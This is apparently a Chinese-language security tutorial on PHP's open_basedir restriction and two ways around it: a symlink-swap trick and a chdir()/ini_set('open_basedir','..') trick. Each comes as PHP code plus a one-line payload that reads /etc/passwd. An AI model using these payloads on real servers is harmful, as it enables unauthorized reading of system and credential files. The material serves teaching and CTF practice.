open_basedir是什么?

open_basedir是PHP的一个安全特性,用于限制PHP脚本能够访问的文件和目录。当open_basedir被设置时,PHP脚本只能访问指定的目录,而不能访问其他目录。这有助于增加服务器的安全性,防止恶意脚本访问系统中的敏感文件。

注意: open_basedir 指定的限制实际上是前缀 而不是 目录名,举个例子, 若“open_basedir” = /tmp/zixyd那么目录/tmp/zixyd和 /tmp/zixyd1 都是可以访问的。

命令函数绕过

open_basedir对system等一些命令函数没有限制,

symlink绕过

这种技巧感觉不难理解;只要自己认真想一下即可;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir(".."); //要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个../来设置目标文件。
symlink("A/B/C/D","zixyd"); //zixyd -> A/B/C/D
symlink("zixyd/../../../../etc/passwd","exp"); //exp -> zixyd/../../../../etc/passwd

unlink("zixyd"); //这两步操作是这个技巧的精华所在;有种偷梁换柱的感觉
mkdir("zixyd");
?>

最终payload;在访问exp文件,即可得到/etc/passwd

1
mkdir("A");chdir("A");mkdir("B");chdir("B");mkdir("C");chdir("C");mkdir("D");chdir("D");chdir("..");chdir("..");chdir("..");chdir("..");symlink("A/B/C/D","zixyd");symlink("zixyd/../../../../etc/passwd","exp");unlink("zixyd");mkdir("zixyd");

chdir()与ini_set()组合

这个技巧主要是open_basedir自身的缺陷造成的;

ini_set('open_basedir','..');open_basedir=..的意思是限制 PHP 脚本只能访问目录 .. 及其子目录中的文件,对其他目录的文件进行操作将被禁止,但是..代表的上一级目录,看似目录缩小了,其实是扩大了;

1
2
3
4
5
6
7
8
9
10
11
12
<?php
mkdir('zixyd');
chdir('zixyd');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');//最后要将..修改为/;否则无法访问根目录的文件
echo file_get_contents('/etc/passwd');

?>

最终payload(但是我在一些php8的高版本没有成功,估计是修复了)

1
mkdir('zixyd');chdir('zixyd');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/passwd');